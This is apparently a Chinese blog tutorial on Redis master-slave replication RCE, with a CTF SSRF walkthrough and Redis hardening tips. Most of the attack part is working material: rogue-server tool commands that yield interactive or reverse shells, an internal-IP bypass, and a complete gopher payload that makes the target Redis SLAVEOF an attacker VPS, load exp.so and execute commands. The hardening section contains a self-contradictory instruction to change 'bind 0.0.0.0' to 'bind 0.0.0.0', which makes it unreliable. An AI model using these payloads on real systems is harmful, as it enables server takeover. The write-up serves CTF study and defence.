Redis 基于主从复制的命令执行
Redis 主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机(从机),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
Redis 主从复制进行 RCE
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。
实验环境:
- 攻击机Kali:192.168.43.247
- 受害机Ubuntu:192.168.43.82
利用 redis-rogue-server 工具
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof
命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
但是该工具无法数据Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
使用方法:
python3 redis-rogue-server.py --rhost 192.168.43.82 --lhost 192.168.43.247 # python3 redis-rogue-server.py --rhost rhost --lhost lhost
执行后,可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):
比如我们选择 i
来获得一个交互式的shell,执行在里面执行系统命令即可:
也可以选择 r
来获得一个反弹shell:
前面说了,该工具只能在目标存在Redis未授权访问漏洞时使用,当目标Redis存在密码时是不能使用该工具的。所以我们还要看看别的工具。
利用 redis-rce 工具
可以看到该工具有一个 -a
选项,可以用来进行Redis认证。
但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server 工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:
python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260 # python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
执行后,同样可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):
比如我们选择 i
来获得一个交互式的shell,执行在里面执行系统命令即可:
也可以选择 r
来获得一个反弹shell:
Redis 主从复制在 SSRF 中的利用
这里,我们通过 [网鼎杯 2020 玄武组]SSRFMe 这道 CTF 题目来演示。
进入题目,给出源码:
<?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } if(isset($_GET['url'])){ $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } } else{ highlight_file(__FILE__); } // Please visit hint.php locally. ?>
这源码见过好多次了,让我们从本地访问hint.php,但是要先绕过对内网IP的检测。这里我们可以利用curl和parse_url的解析差异来绕过,payload:
/?url=http://@127.0.0.1:80@www.baidu.com/hint.php
但是这里并不成功,因为这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即 0.0.0.0
。0.0.0.0
这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址,使用如下即可绕过:
/?url=http://0.0.0.0/hint.php
如下图所示,成功访问hint.php并得到源码:
在hint.php中发现了Redis的密码为root,看来是要利用主从复制来打Redis了。
需要以下即可工具:
- https://github.com/xmsec/redis-ssrf(用于生成gopher协议的payload并搭建恶意的Redis主机)
- https://github.com/n0b0dyCN/redis-rogue-server(需要利用这里面的exp.so)
首先来看redis-ssrf中的ssrf-redis.py脚本:
如上图所示,通过选择不同的mode选项可以选择不同的攻击方式。这里我们选择mode 3,通过主从复制在目标主机上执行命令。需要修改一下几个地方:
- 将
lhost
改为攻击者vps的ip(47.xxx.xxx.72),用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机。 - 将command修改为要执行的命令
- 将第140行的 "127.0.0.1" 改为 "0.0.0.0" ,用于绕过题目对于内网IP的限制。
- 最后在第160行填写上Redis的密码 "root"。
改完后如下:
然后执行该脚本生成payload:
由于题目需要发送的是GET请求,所以需要将payload进行url二次编码,得到最终的payload为:
gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A47.101.57.72%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252414%250D%250Acat%2524%257BIFS%257D%2Fflag%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
然后将redis-rogue-server中的exp.so复制到redis-ssrf目录中,并使用redis-ssrf中的rogue-server.py在攻击者vps的6666端口上面搭建恶意的Redis主机。
但是这里需要写个死循环一直跑rogue-server.py,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了。
# do.sh while [ "1" = "1" ] do python rogue-server.py done
执行do.sh脚本即可:
然后执行之前生成的payload:
如上图所示,成功执行命令并得到flag。
Redis 安全防护策略
如何防护你的 Redis 我认为可以从以下几个方面切入。
禁止监听在公网地址
将你的 Redis 监听在 0.0.0.0 的是十分危险的行为,对 Redis 的大多数攻击也都是由于管理员的大意而将 Redis 监听在了 0.0.0.0。作为一个经常在内网中出现的应用,将 Redis 监听在 0.0.0.0 很可能导致内网横向移动渗透风险。
修改 Redis 监听端口需要在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0
改为 bind 0.0.0.0
或内网 IP,然后重启 Redis。
修改默认的监听端口
Redis 默认监听的端口为 6379,为了更好地隐藏服务,我们可以在 redis.conf 中修改 Redis 的监听端口。找到包含 port 的行,将默认的 6379 改为其他自定义的端口号,然后重启 Redis。
开启 Redis 安全认证并设置复杂的密码
为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,我们可以在 Redis 在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码。
禁止使用 Root 权限启动
使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用任 Root 权限的何用户启动 Redis。加固建议如下:
useradd -s /sbin/nolog -M redis sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf
设置 Redis 配置文件的访问权限
因为 Redis 的明文密码可能会存储在配置文件中,禁止不相关的用户访问改配置文件是必要的,如下设置 Redis 配置文件权限为 600:
chmod 600 /<filepath>/redis.conf
Ending......
参考:
https://blog.csdn.net/cj_Allen/article/details/106855893
https://www.redteaming.top/2019/07/15/浅析Redis中SSRF的利用/#Redis配合gopher协议进行SSRF
https://whoamianony.top/2021/01/16/Web安全/CTF SSRF 漏洞从0到1/